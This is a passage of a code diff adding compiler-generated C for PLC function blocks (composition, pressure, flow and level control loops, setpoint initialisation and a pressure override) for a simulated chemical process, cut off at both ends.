(!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + 